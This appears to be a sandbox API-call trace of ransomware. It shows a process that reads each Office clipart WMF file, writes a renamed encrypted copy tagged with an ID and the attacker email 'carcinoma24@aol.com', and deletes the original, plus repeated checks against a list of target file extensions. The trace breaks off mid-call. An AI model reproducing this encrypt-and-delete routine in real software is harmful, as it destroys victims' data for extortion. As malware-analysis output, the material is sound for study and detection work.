[0299.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.554] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.554] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0299.554] GetLastError () returned 0x0 [0299.554] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x2856, lpOverlapped=0x0) returned 1 [0299.556] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x2860, lpOverlapped=0x0) returned 1 [0299.557] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.557] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xea, lpOverlapped=0x0) returned 1 [0299.557] SetEndOfFile (hFile=0x370) returned 1 [0299.557] CloseHandle (hObject=0x370) returned 1 [0299.557] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.557] SetEndOfFile (hFile=0x358) returned 1 [0299.558] CloseHandle (hObject=0x358) returned 1 [0299.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0299.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0299.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0299.559] lstrlenW (lpString=".doc") returned 4 [0299.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.559] lstrlenW (lpString=".docx") returned 5 [0299.559] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0299.560] lstrlenW (lpString=".pdf") returned 4 [0299.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.560] lstrlenW (lpString=".xls") returned 4 [0299.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.560] lstrlenW (lpString=".xlsx") returned 5 [0299.560] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0299.560] lstrlenW (lpString=".ppt") returned 4 [0299.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0299.560] lstrlenW (lpString=".zip") returned 4 [0299.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.560] lstrlenW (lpString=".rar") returned 4 [0299.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.560] lstrlenW (lpString=".bz2") returned 4 [0299.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.560] lstrlenW (lpString=".7z") returned 3 [0299.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0299.560] lstrlenW (lpString=".dbf") returned 4 [0299.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0299.560] lstrlenW (lpString=".1cd") returned 4 [0299.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0299.560] lstrlenW (lpString=".jpg") returned 4 [0299.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0299.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0299.561] lstrlenW (lpString=".doc") returned 4 [0299.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.561] lstrlenW (lpString=".docx") returned 5 [0299.561] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0299.561] lstrlenW (lpString=".pdf") returned 4 [0299.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.561] lstrlenW (lpString=".xls") returned 4 [0299.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.561] lstrlenW (lpString=".xlsx") returned 5 [0299.561] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0299.561] lstrlenW (lpString=".ppt") returned 4 [0299.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0299.561] lstrlenW (lpString=".zip") returned 4 [0299.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.561] lstrlenW (lpString=".rar") returned 4 [0299.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.561] lstrlenW (lpString=".bz2") returned 4 [0299.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.561] lstrlenW (lpString=".7z") returned 3 [0299.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0299.561] lstrlenW (lpString=".dbf") returned 4 [0299.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0299.561] lstrlenW (lpString=".1cd") returned 4 [0299.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0299.561] lstrlenW (lpString=".jpg") returned 4 [0299.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.562] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.562] lstrlenW (lpString="DD00117_.WMF") returned 12 [0299.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.562] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=31122) returned 1 [0299.562] CloseHandle (hObject=0x358) returned 1 [0299.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x220 [0299.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.563] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.563] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0299.563] GetLastError () returned 0x0 [0299.563] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x7992, lpOverlapped=0x0) returned 1 [0300.071] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x79a0, lpOverlapped=0x0) returned 1 [0300.072] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.072] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.072] SetEndOfFile (hFile=0x370) returned 1 [0300.717] CloseHandle (hObject=0x370) returned 1 [0300.718] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.718] SetEndOfFile (hFile=0x358) returned 1 [0300.719] CloseHandle (hObject=0x358) returned 1 [0300.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0300.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0300.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0300.720] lstrlenW (lpString=".doc") returned 4 [0300.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.720] lstrlenW (lpString=".docx") returned 5 [0300.720] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.720] lstrlenW (lpString=".pdf") returned 4 [0300.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.720] lstrlenW (lpString=".xls") returned 4 [0300.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.720] lstrlenW (lpString=".xlsx") returned 5 [0300.720] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.720] lstrlenW (lpString=".ppt") returned 4 [0300.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0300.720] lstrlenW (lpString=".zip") returned 4 [0300.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.720] lstrlenW (lpString=".rar") returned 4 [0300.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.720] lstrlenW (lpString=".bz2") returned 4 [0300.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.720] lstrlenW (lpString=".7z") returned 3 [0300.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0300.720] lstrlenW (lpString=".dbf") returned 4 [0300.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0300.721] lstrlenW (lpString=".1cd") returned 4 [0300.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0300.721] lstrlenW (lpString=".jpg") returned 4 [0300.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0300.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0300.721] lstrlenW (lpString=".doc") returned 4 [0300.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.721] lstrlenW (lpString=".docx") returned 5 [0300.721] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.721] lstrlenW (lpString=".pdf") returned 4 [0300.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.721] lstrlenW (lpString=".xls") returned 4 [0300.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.721] lstrlenW (lpString=".xlsx") returned 5 [0300.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.721] lstrlenW (lpString=".ppt") returned 4 [0300.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0300.721] lstrlenW (lpString=".zip") returned 4 [0300.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.721] lstrlenW (lpString=".rar") returned 4 [0300.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.721] lstrlenW (lpString=".bz2") returned 4 [0300.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.722] lstrlenW (lpString=".7z") returned 3 [0300.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0300.722] lstrlenW (lpString=".dbf") returned 4 [0300.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0300.722] lstrlenW (lpString=".1cd") returned 4 [0300.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0300.722] lstrlenW (lpString=".jpg") returned 4 [0300.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.722] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.722] lstrlenW (lpString="DD01160_.WMF") returned 12 [0300.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.722] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2228) returned 1 [0300.723] CloseHandle (hObject=0x358) returned 1 [0300.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x220 [0300.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.723] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.723] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0300.724] GetLastError () returned 0x0 [0300.724] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x8b4, lpOverlapped=0x0) returned 1 [0300.725] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0300.726] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.726] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.726] SetEndOfFile (hFile=0x370) returned 1 [0300.727] CloseHandle (hObject=0x370) returned 1 [0300.727] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.727] SetEndOfFile (hFile=0x358) returned 1 [0300.728] CloseHandle (hObject=0x358) returned 1 [0300.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0300.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0300.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0300.737] lstrlenW (lpString=".doc") returned 4 [0300.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.738] lstrlenW (lpString=".docx") returned 5 [0300.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.738] lstrlenW (lpString=".pdf") returned 4 [0300.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.738] lstrlenW (lpString=".xls") returned 4 [0300.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.738] lstrlenW (lpString=".xlsx") returned 5 [0300.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.738] lstrlenW (lpString=".ppt") returned 4 [0300.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0300.738] lstrlenW (lpString=".zip") returned 4 [0300.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.738] lstrlenW (lpString=".rar") returned 4 [0300.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.738] lstrlenW (lpString=".bz2") returned 4 [0300.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.738] lstrlenW (lpString=".7z") returned 3 [0300.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0300.738] lstrlenW (lpString=".dbf") returned 4 [0300.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0300.738] lstrlenW (lpString=".1cd") returned 4 [0300.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0300.738] lstrlenW (lpString=".jpg") returned 4 [0300.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0300.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0300.738] lstrlenW (lpString=".doc") returned 4 [0300.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.738] lstrlenW (lpString=".docx") returned 5 [0300.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.738] lstrlenW (lpString=".pdf") returned 4 [0300.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.739] lstrlenW (lpString=".xls") returned 4 [0300.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.739] lstrlenW (lpString=".xlsx") returned 5 [0300.739] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.739] lstrlenW (lpString=".ppt") returned 4 [0300.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0300.739] lstrlenW (lpString=".zip") returned 4 [0300.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.739] lstrlenW (lpString=".rar") returned 4 [0300.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.739] lstrlenW (lpString=".bz2") returned 4 [0300.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.739] lstrlenW (lpString=".7z") returned 3 [0300.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0300.739] lstrlenW (lpString=".dbf") returned 4 [0300.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0300.739] lstrlenW (lpString=".1cd") returned 4 [0300.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0300.739] lstrlenW (lpString=".jpg") returned 4 [0300.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.739] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.739] lstrlenW (lpString="DD01162_.WMF") returned 12 [0300.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.740] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2300) returned 1 [0300.740] CloseHandle (hObject=0x358) returned 1 [0300.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220 [0300.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), 